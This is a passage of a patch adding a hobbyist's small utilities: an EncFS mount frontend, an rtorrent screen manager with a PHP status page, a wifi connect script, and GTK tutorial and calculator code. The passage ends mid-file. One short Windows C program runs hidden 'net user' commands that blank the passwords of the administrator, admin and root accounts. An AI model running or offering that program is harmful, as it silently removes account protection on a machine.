*.old
*.exe
+*.dll
*.com
*.gz
--- /dev/null
+#!/bin/bash
+#############################################################
+# gEncFS 0.2 (Harvie 2oo8-2oo9) #
+# BASH & zenity GUI frontend for mounting EncFS filesystems #
+#############################################################
+
+zenity="/usr/bin/zenity";
+gksu="/usr/bin/gksu"; #path to gksu or gksudo (doesn't matter)
+encfs="/usr/bin/encfs";
+grep="/bin/grep";
+cut="/bin/cut"; #Arch: /bin/cut vs. Debian: /usr/bin/cut
+cat="/bin/cat";
+
+cut=$(which cut); #maybe bit insecure - for compatibility
+
+
+gencfs_getpass() {
+ #zenity - insecure way
+ #$zenity --entry --hide-text --text "$(echo -ne "Please enter EncFS password for $1\n$2")" --title "gEncFS: Password for $1" 2>/dev/null;
+ #gksu/gksudo - secure way (grabs keyboard!)
+ gksu -p -m "$(echo -ne "Please enter EncFS password for $1\n$2")" 2>/dev/null;
+}
+
+gencfs_fuses() {
+ echo -e "\n\nList of mouted FUSE filesystems:";
+ $cat /etc/mtab | $grep "^\(fuse\|encfs\) " | $cut -d ' ' -f 2;
+}
+
+gencfs_mount() {
+ errout=$(gencfs_getpass "$1" "$3" | $encfs "--extpass=$cat" "$1" "$2")
+ if [ $? != 0 ]; then
+ $zenity --question --text "$errout\n\nTry again?" --title "gEncFS: Try again?";
+ if [ $? == 0 ]; then
+ return 1;
+ fi;
+ fi;
+ return 0;
+}
+
+gencfs_checkdir() {
+ if [ -d "$1" ]; then echo -n; else
+ $zenity --error --title "gEncFS: Error!" --text\
+ "Directory $1 doesn't exist.\nYou have to create it manualy by encfs command:\n\nencfs [options] rootDir mountPoint [-- [FUSE Mount Options]]";
+ exit;
+ fi;
+}
+
+gencfs_checkdir "$1";
+gencfs_checkdir "$2";
+
+$zenity --question --text "Do you want to (re)mount\n$1 to $2 ?$(gencfs_fuses;)" --title gEncFS
+if [ $? != 0 ]; then
+ exit;
+fi;
+
+fuseout=$(fusermount -u "$2" 2>&1)
+if [ $? == 0 ]; then
+ fuseout="";
+fi;
+
+false;
+while [ $? != 0 ]; do
+ gencfs_mount "$1" "$2" "$fuseout";
+done;
--- /dev/null
+#!/bin/bash
+# rtorrent-screen 1.0 (Harvie 2oo9)
+# - Simple rtorrent manager (keeps your torrents in screen transparently + allows you to monitor it using hardcopies)
+#
+# - Dependencies: bash, screen, rtorrent
+# - Optionaly webserver with PHP (you will be allowed to monitor your torrents using web interface)
+# - TODO: adding torrents using web interface...
+
+TARGET_DIRECTORY=~/downloads #warning: each user MUST have his own directory for downloading (on "single user" system u can use eg. /srv/http/downloads)
+SCREEN_PID_FILE='rtorrent-screen.pid'
+SCREEN_DUMP_INTERVAL=30;
+SESSION_NAME='rtorrent'
+CREATE_PHP_UI=true
+PHP_UI='download.php'
+
+CONFIG_OVERRIDE=~/.config/rtorrent-screen.rc.sh
+#source "$CONFIG_OVERRIDE" 2>/dev/null
+
+cd "$TARGET_DIRECTORY";
+if [ $? != 0 ]; then
+ echo Directory "$TARGET_DIRECTORY" does not exists create it or change path in "$CONFIG_OVERRIDE" or in "$0"
+ echo Note that each user MUST have his own separate directory for rtorrent-screen to avoid collisions.
+ exit 2;
+fi;
+
+#PHP UI
+if "$CREATE_PHP_UI"; then
+echo "
+<head>
+ <title>Harvie's Downloads</title>
+</head>
+<style>
+ * { font-size: small; color: green; background-color: black; }
+ b,i,u { color: lime; }
+</style>
+<pre><?php
+ if(is_file('$SCREEN_PID_FILE')) {
+ echo(
+ 'rTorrent is running. To attach to it login as <b>$USER</b> and type: <b>$0</b> or <b>screen -x '.
+ htmlspecialchars(file_get_contents('$SCREEN_PID_FILE')).
+ '</b>If you want to detach from it (leave it running on background) press <b>CTRL+a followed by d</b> and if you want to stop rTorrent definitely then press <b>CTRL+q</b> few times.<hr />'.
+ htmlspecialchars(file_get_contents('./hardcopy.0'))
+ );
+ } else {
+ echo('rTorrent is not running at this time... To execute it use command: <b>$0</b>');
+ }
+?></pre>
+" > "$PHP_UI"
+fi;
+
+#SCREEN SESSION
+if [[ -r "$SCREEN_PID_FILE" ]]; then
+ screen -x $(cat "$SCREEN_PID_FILE");
+else
+ screen -U -S "$SESSION_NAME" -t "$SESSION_NAME" bash -c "
+ while true; do
+ sleep 1;
+ screen -S \$PPID -X hardcopy;
+ sleep $SCREEN_DUMP_INTERVAL;
+ done &
+
+ echo \$PPID > $SCREEN_PID_FILE;
+ rtorrent;
+ rm -f $SCREEN_PID_FILE;
+ rm -f hardcopy.0;
+ "
+fi;
+
+echo 'Thank you for using rtorrent-screen by Harvie'
--- /dev/null
+
+<head>
+ <title>Harvie's Downloads</title>
+</head>
+<style>
+ * { font-size: small; color: green; background-color: black; }
+ b,i,u { color: lime; }
+</style>
+<pre>rTorrent is running. To attach to it login as <b>harvie</b> and type: <b>/usr/bin/rtorrent-screen</b> or <b>screen -x 24648
+</b>If you want to detach from it (leave it running on background) press <b>CTRL+a followed by d</b> and if you want to stop rTorrent definitely then press <b>CTRL+q</b> few times.<hr /> *** rTorrent 0.7.9/0.11.9 - harvie-srv:666 ***
+[View: main]
+ Arch Linux
+ 30,4 / 699,0 MB Rate: 14,1 / 497,4 KB Uploaded: 0,8 MB [ 3%] 0d 0:22 [ R: 0,03]
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+[Throttle off/off KB] [Rate 14,7/520,4 KB] [Port: 666] [U 4/0] [D 9/0] [H 0/32] [S 0/18/768] [F 2/128]
+</pre>
+
--- /dev/null
+#!/bin/bash
+
+echo ModProbing modules...
+ ifconfig ath0 down
+ ifconfig wifi0 down
+ modprobe ath_pci
+ modprobe wlan_scan_sta
+
+echo Recreating ath0 device from wifi0...
+ ifconfig wifi0 up
+ wlanconfig ath0 destroy
+ wlanconfig ath0 create wlandev wifi0 wlanmode sta
+ ifconfig ath0 up
+
+echo Scanning for APs...
+ sleep 3
+ wlanconfig ath0 list scan
+
+echo Using strongest AP...
+ iwconfig ath0 essid any
+ ifconfig essid Network_395 ath0
+
+echo DHCP Broadcast...
+ dhclient ath0
+
+echo Done!
--- /dev/null
+/*
+Admin passwd reset0r
+Harvie 2oo9
+*/
+
+#include <windows.h>
+
+int main() {
+ WinExec("net user administrator \"\"",SW_HIDE);
+ WinExec("net user admin \"\"",SW_HIDE);
+ WinExec("net user root \"\"",SW_HIDE);
+ return 0;
+}
--- /dev/null
+#!/bin/bash
+gcc -Wall -g -o test test.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic
--- /dev/null
+/*
+First run tutorial.glade through gtk-builder-convert with this command:
+ gtk-builder-convert tutorial.glade tutorial.xml
+
+Then save this file as main.c and compile it using this command
+(those are backticks, not single quotes):
+ gcc -Wall -g -o tutorial main.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic
+
+Then execute it using:
+ ./tutorial
+*/
+
+#include <stdio.h>
+#include <string.h>
+#include <gtk/gtk.h>
+
+GtkBuilder *builder;
+GtkWidget *window, *button1, *entry1;
+
+
+void on_window_destroy (GtkObject *object, gpointer user_data)
+{
+ gtk_main_quit ();
+}
+
+void on_button1_clicked() {
+ puts("click!");
+ puts(gtk_entry_get_text(entry1));
+ //gtk_button_set_label(button1, "lol");
+ gtk_button_set_label(button1, gtk_entry_get_text(entry1));
+}
+
+int main (int argc, char *argv[])
+{
+ gtk_init (&argc, &argv);
+
+ builder = gtk_builder_new ();
+ gtk_builder_add_from_file (builder, "test.xml", NULL);
+ window = GTK_WIDGET (gtk_builder_get_object (builder, "window"));
+
+ button1 = GTK_WIDGET (gtk_builder_get_object (builder, "button1"));
+ entry1 = GTK_WIDGET (gtk_builder_get_object (builder, "entry1"));
+
+
+ gtk_builder_connect_signals (builder, NULL);
+
+ g_object_unref (G_OBJECT (builder));
+
+ gtk_widget_show (window);
+ gtk_main ();
+
+ return 0;
+}
+
--- /dev/null
+<?xml version="1.0"?>
+<interface>
+ <object class="GtkWindow" id="window">
+ <property name="visible">True</property>
+ <signal name="destroy" handler="on_window_destroy"/>
+ <child>
+ <object class="GtkVBox" id="vbox1">
+ <property name="visible">True</property>
+ <child>
+ <object class="GtkEntry" id="entry1">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ </object>
+ </child>
+ <child>
+ <object class="GtkButton" id="button1">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">Button1</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button1_clicked"/>
+ </object>
+ <packing>
+ <property name="position">1</property>
+ </packing>
+ </child>
+ </object>
+ </child>
+ </object>
+</interface>
--- /dev/null
+<?xml version="1.0"?>
+<interface>
+ <object class="GtkWindow" id="window">
+ <property name="visible">True</property>
+ <signal name="destroy" handler="on_window_destroy"/>
+ <child>
+ <object class="GtkVBox" id="vbox1">
+ <property name="visible">True</property>
+ <child>
+ <object class="GtkVBox" id="vbox2">
+ <property name="visible">True</property>
+ <child>
+ <object class="GtkHBox" id="hbox2">
+ <property name="visible">True</property>
+ <child>
+ <object class="GtkEntry" id="entry_a">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ </object>
+ </child>
+ <child>
+ <object class="GtkLabel" id="label_op">
+ <property name="visible">True</property>
+ <property name="label" translatable="yes">?</property>
+ </object>
+ <packing>
+ <property name="position">1</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkEntry" id="entry_b">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ </object>
+ <packing>
+ <property name="position">2</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkLabel" id="label2">
+ <property name="visible">True</property>
+ <property name="label" translatable="yes">=</property>
+ </object>
+ <packing>
+ <property name="position">3</property>
+ </packing>
+ </child>
+ </object>
+ </child>
+ <child>
+ <object class="GtkEntry" id="entry_calc">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ </object>
+ <packing>
+ <property name="position">1</property>
+ </packing>
+ </child>
+ </object>
+ </child>
+ <child>
+ <object class="GtkHBox" id="hbox1">
+ <property name="visible">True</property>
+ <child>
+ <object class="GtkLabel" id="label_mem">
+ <property name="visible">True</property>
+ <property name="label" translatable="yes">MEM:</property>
+ </object>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_mplus">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">+</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_mem_clicked"/>
+ </object>
+ <packing>
+ <property name="position">1</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_mminus">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">-</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_mem_clicked"/>
+ </object>
+ <packing>
+ <property name="position">2</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_mclear">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">C</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_mem_clicked"/>
+ </object>
+ <packing>
+ <property name="position">3</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkEntry" id="entry_mem">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="text" translatable="yes">0</property>
+ </object>
+ <packing>
+ <property name="position">4</property>
+ </packing>
+ </child>
+ </object>
+ <packing>
+ <property name="position">1</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkTable" id="table1">
+ <property name="visible">True</property>
+ <property name="n_rows">4</property>
+ <property name="n_columns">5</property>
+ <child>
+ <object class="GtkButton" id="button_divide">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">/</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_op_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">1</property>
+ <property name="right_attach">2</property>
+ <property name="top_attach">3</property>
+ <property name="bottom_attach">4</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_multiply">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">*</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_op_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">1</property>
+ <property name="right_attach">2</property>
+ <property name="top_attach">2</property>
+ <property name="bottom_attach">3</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_minus">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">-</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_op_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">1</property>
+ <property name="right_attach">2</property>
+ <property name="top_attach">1</property>
+ <property name="bottom_attach">2</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_plus">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">+</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_op_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">1</property>
+ <property name="right_attach">2</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_sqr">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">SQRT</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_op_clicked"/>
+ </object>
+ <packing>
+ <property name="top_attach">3</property>
+ <property name="bottom_attach">4</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_pow">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">^</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_op_clicked"/>
+ </object>
+ <packing>
+ <property name="top_attach">2</property>
+ <property name="bottom_attach">3</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_reset">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">RST</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="reset"/>
+ </object>
+ <packing>
+ <property name="top_attach">1</property>
+ <property name="bottom_attach">2</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_clear">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">C</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_clear_clicked"/>
+ </object>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_point">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">.</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">3</property>
+ <property name="right_attach">4</property>
+ <property name="top_attach">3</property>
+ <property name="bottom_attach">4</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_0">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">0</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">2</property>
+ <property name="right_attach">3</property>
+ <property name="top_attach">3</property>
+ <property name="bottom_attach">4</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_3">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">3</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">4</property>
+ <property name="right_attach">5</property>
+ <property name="top_attach">2</property>
+ <property name="bottom_attach">3</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_2">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">2</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">3</property>
+ <property name="right_attach">4</property>
+ <property name="top_attach">2</property>
+ <property name="bottom_attach">3</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_1">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">1</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">2</property>
+ <property name="right_attach">3</property>
+ <property name="top_attach">2</property>
+ <property name="bottom_attach">3</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_6">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">6</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">4</property>
+ <property name="right_attach">5</property>
+ <property name="top_attach">1</property>
+ <property name="bottom_attach">2</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_5">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">5</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">3</property>
+ <property name="right_attach">4</property>
+ <property name="top_attach">1</property>
+ <property name="bottom_attach">2</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_4">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">4</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">2</property>
+ <property name="right_attach">3</property>
+ <property name="top_attach">1</property>
+ <property name="bottom_attach">2</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_9">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">9</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">4</property>
+ <property name="right_attach">5</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_8">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">8</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">3</property>
+ <property name="right_attach">4</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_7">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">7</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">2</property>
+ <property name="right_attach">3</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_eq">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">=</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_op_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">4</property>
+ <property name="right_attach">5</property>
+ <property name="top_attach">3</property>
+ <property name="bottom_attach">4</property>
+ </packing>
+ </child>
+ </object>
+ <packing>
+ <property name="position">2</property>
+ </packing>
+ </child>
+ </object>
+ </child>
+ </object>
+</interface>
--- /dev/null
+#!/bin/bash
+gcc -Wall -g -o test test.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic
+cat test.xml | grep -v "requires lib=" > calc.xml
+cat test.xml > calc.xml
--- /dev/null
+/*
+First run tutorial.glade through gtk-builder-convert with this command:
+ gtk-builder-convert tutorial.glade tutorial.xml
+
+Then save this file as main.c and compile it using this command
+(those are backticks, not single quotes):
+ gcc -Wall -g -o tutorial main.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic
+
+Then execute it using:
+ ./tutorial
+*/
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <math.h>
+#include <gtk/gtk.h>
+
+GtkBuilder *builder;
+GtkWidget *window, *entry_a, *entry_b, *entry_calc, *entry_mem, *label_op;
+char tempbuf[128], *ptempchar, nextop;
+int calculated;
+
+void on_button_no_clicked(GtkWidget *widget, gpointer user_data) {
+ gtk_entry_append_text(entry_calc, gtk_button_get_label(widget));
+}
+
+void calculate() {
+ double a, b, e;
+ if(calculated) return;
+ gtk_entry_set_text(entry_b, gtk_entry_get_text(entry_calc));
+ gtk_entry_set_text(entry_calc, "");
+
+ a = strtod(gtk_entry_get_text(entry_a), NULL);
+ b = strtod(gtk_entry_get_text(entry_b), NULL);
+
+ switch(nextop) {
+ case '+': e = a + b; break;
+ case '-': e = a - b; break;
+ case '*': e = a * b; break;
+ case '/': e = a / b; break;
+ case '^': e = pow(a, b); break;
+ case 'S': e = a + b; break;
+ }
+ sprintf(tempbuf, "%lf", e);
+ //printf("%f %c %f = %f\n", a, nextop, b, e);
+ gtk_entry_set_text(entry_calc, tempbuf);
+ calculated = 1;
+}
+
+void on_button_op_clicked(GtkWidget *widget, gpointer user_data) {
+ char *oplbl = gtk_button_get_label(widget);
+
+ switch(oplbl[0]) {
+ case '+': case '-': case '*': case '/': case '^': case 'S':
+ if(!calculated) calculate();
+ gtk_entry_set_text(entry_a, gtk_entry_get_text(entry_calc));
+ gtk_entry_set_text(entry_calc, "");
+ gtk_entry_set_text(entry_b, "");
+ gtk_label_set_label(label_op, oplbl);
+ nextop = oplbl[0];
+ calculated = 0;
+ break;
+
+ case '=':
+ if(!calculated) calculate();
+ gtk_entry_set_text(entry_calc, gtk_entry_get_text(entry_calc));
+ calculated = 1;
+ break;
+ }
+}
+
+void on_button_mem_clicked(GtkWidget *widget, gpointer user_data) {
+ char *oplbl = gtk_button_get_label(widget);
+ double e = 0, m = 0;
+ e = strtod(gtk_entry_get_text(entry_calc), NULL);
+ m = strtod(gtk_entry_get_text(entry_mem), NULL);
+ switch(oplbl[0]) {
+ case '+': m += e; break;
+ case '-': m -= e; break;
+ case 'C': m = 0; break;
+ }
+ sprintf(tempbuf, "%lf", m);
+ gtk_entry_set_text(entry_mem, tempbuf);
+
+}
+
+void on_button_clear_clicked() {
+ /*ptempchar = gtk_entry_get_text(entry_calc);
+ ptempchar[strlen(ptempchar)-1] = '\x00';
+ gtk_entry_set_text(entry_calc, ptempchar);*/
+ gtk_entry_append_text(entry_calc, "\r");
+}
+
+void reset() {
+ calculated = 1;
+ gtk_label_set_label(label_op, "?");
+ gtk_entry_set_text(entry_calc, "");
+ gtk_entry_set_text(entry_a, "");
+ gtk_entry_set_text(entry_b, "");
+}
+
+void on_window_destroy (GtkObject *object, gpointer user_data)
+{
+ gtk_main_quit ();
+}
+
+int main (int argc, char *argv[])
+{
+ gtk_init (&argc, &argv);
+
+ builder = gtk_builder_new ();
+ gtk_builder_add_from_file (builder, "calc.xml", NULL);
+ window = GTK_WIDGET (gtk_builder_get_object (builder, "window"));
+
+ entry_a = GTK_WIDGET (gtk_builder_get_object (builder, "entry_a"));
+ entry_b = GTK_WIDGET (gtk_builder_get_object (builder, "entry_b"));
+ entry_calc = GTK_WIDGET (gtk_builder_get_object (builder, "entry_calc"));
+ entry_mem = GTK_WIDGET (gtk_builder_get_object (builder, "entry_mem"));
+ label_op = GTK_WIDGET (gtk_builder_get_object (builder, "label_op"));
+
+ gtk_builder_connect_signals (builder, NULL);
+ g_object_unref (G_OBJECT (builder));
+
+ reset();
+ gtk_widget_show (window);
+ gtk_main ();
+
+ return 0;
+}
+
--- /dev/null
+<?xml version="1.0"?>
+<interface>
+ <requires lib="gtk+" version="2.12"/>
+ <object class="GtkWindow" id="window">
+ <property name="visible">True</property>
+ <signal name="destroy" handler="on_window_destroy"/>
+ <child>
+ <object class="GtkVBox" id="vbox1">
+ <property name="visible">True</property>
+ <child>
+ <object class="GtkVBox" id="vbox2">
+ <property name="visible">True</property>
+ <child>
+ <object class="GtkHBox" id="hbox2">
+ <property name="visible">True</property>
+ <child>
+ <object class="GtkEntry" id="entry_a">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ </object>
+ </child>
+ <child>
+ <object class="GtkLabel" id="label_op">
+ <property name="visible">True</property>
+ <property name="label" translatable="yes">?</property>
+ </object>
+ <packing>
+ <property name="position">1</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkEntry" id="entry_b">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ </object>
+ <packing>
+ <property name="position">2</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkLabel" id="label2">
+ <property name="visible">True</property>
+ <property name="label" translatable="yes">=</property>
+ </object>
+ <packing>
+ <property name="position">3</property>
+ </packing>
+ </child>
+ </object>
+ </child>
+ <child>
+ <object class="GtkEntry" id="entry_calc">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ </object>
+ <packing>
+ <property name="position">1</property>
+ </packing>
+ </child>
+ </object>
+ </child>
+ <child>
+ <object class="GtkHBox" id="hbox1">
+ <property name="visible">True</property>
+ <child>
+ <object class="GtkLabel" id="label_mem">
+ <property name="visible">True</property>
+ <property name="label" translatable="yes">MEM:</property>
+ </object>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_mplus">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">+</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_mem_clicked"/>
+ </object>
+ <packing>
+ <property name="position">1</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_mminus">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">-</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_mem_clicked"/>
+ </object>
+ <packing>
+ <property name="position">2</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_mclear">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">C</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_mem_clicked"/>
+ </object>
+ <packing>
+ <property name="position">3</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkEntry" id="entry_mem">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="text" translatable="yes">0</property>
+ </object>
+ <packing>
+ <property name="position">4</property>
+ </packing>
+ </child>
+ </object>
+ <packing>
+ <property name="position">1</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkTable" id="table1">
+ <property name="visible">True</property>
+ <property name="n_rows">4</property>
+ <property name="n_columns">5</property>
+ <child>
+ <object class="GtkButton" id="button_divide">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">/</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_op_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">1</property>
+ <property name="right_attach">2</property>
+ <property name="top_attach">3</property>
+ <property name="bottom_attach">4</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_multiply">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">*</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_op_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">1</property>
+ <property name="right_attach">2</property>
+ <property name="top_attach">2</property>
+ <property name="bottom_attach">3</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_minus">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">-</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_op_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">1</property>
+ <property name="right_attach">2</property>
+ <property name="top_attach">1</property>
+ <property name="bottom_attach">2</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_plus">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">+</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_op_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">1</property>
+ <property name="right_attach">2</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_sqr">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">SQRT</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_op_clicked"/>
+ </object>
+ <packing>
+ <property name="top_attach">3</property>
+ <property name="bottom_attach">4</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_pow">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
